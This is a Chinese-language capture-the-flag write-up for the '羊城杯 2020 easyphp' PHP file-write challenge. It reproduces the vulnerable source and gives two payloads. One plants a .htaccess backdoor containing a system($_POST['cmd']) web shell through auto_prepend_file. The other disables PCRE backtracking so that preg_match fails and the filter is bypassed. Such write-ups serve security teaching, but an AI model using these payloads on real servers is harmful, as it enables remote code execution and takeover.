# [羊城杯 2020] easyphp
和 [XNUCA2019Qualifier] EasyPHP 基本一样,唯一的区别就是少了 include_once 导致没办法通过 error_log 来做,预期解应该就是那道题的非预期。
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
文件包含,其中文件内容不能有 on|html|type|flag|upload|file 关键字,文件名只能有字母和点,且每次访问都会删除当前目录除 index.php 之外的文件。
写个一句话,发现没有被解析,可能是 php 解析配置 php_flag engine
关闭了。配置的问题还是要回归配置文件,虽然主配置文件中关闭了 php 解析,但.htaccess 优先度高于主配置文件,因此我们可以使用.htaccess 执行 php 代码。
# 法一
利用.htaccess 构成后门,payload:
?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%0a%23%20<?php system($_POST["cmd"]);?>\
# 法二
通过 php_value 来设置 preg_macth 正则回溯次数
payload:
?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\
使 preg_match 返回 False,继而绕过了正则判断,然后的过程由于源码没有使用 include,所以应该还是利用.htaccess 写入 php 代码自包含吧,那和前一种方法差不多 (自认为)。
参考链接:https://tyskill.github.io/posts/ycb2020/# 法一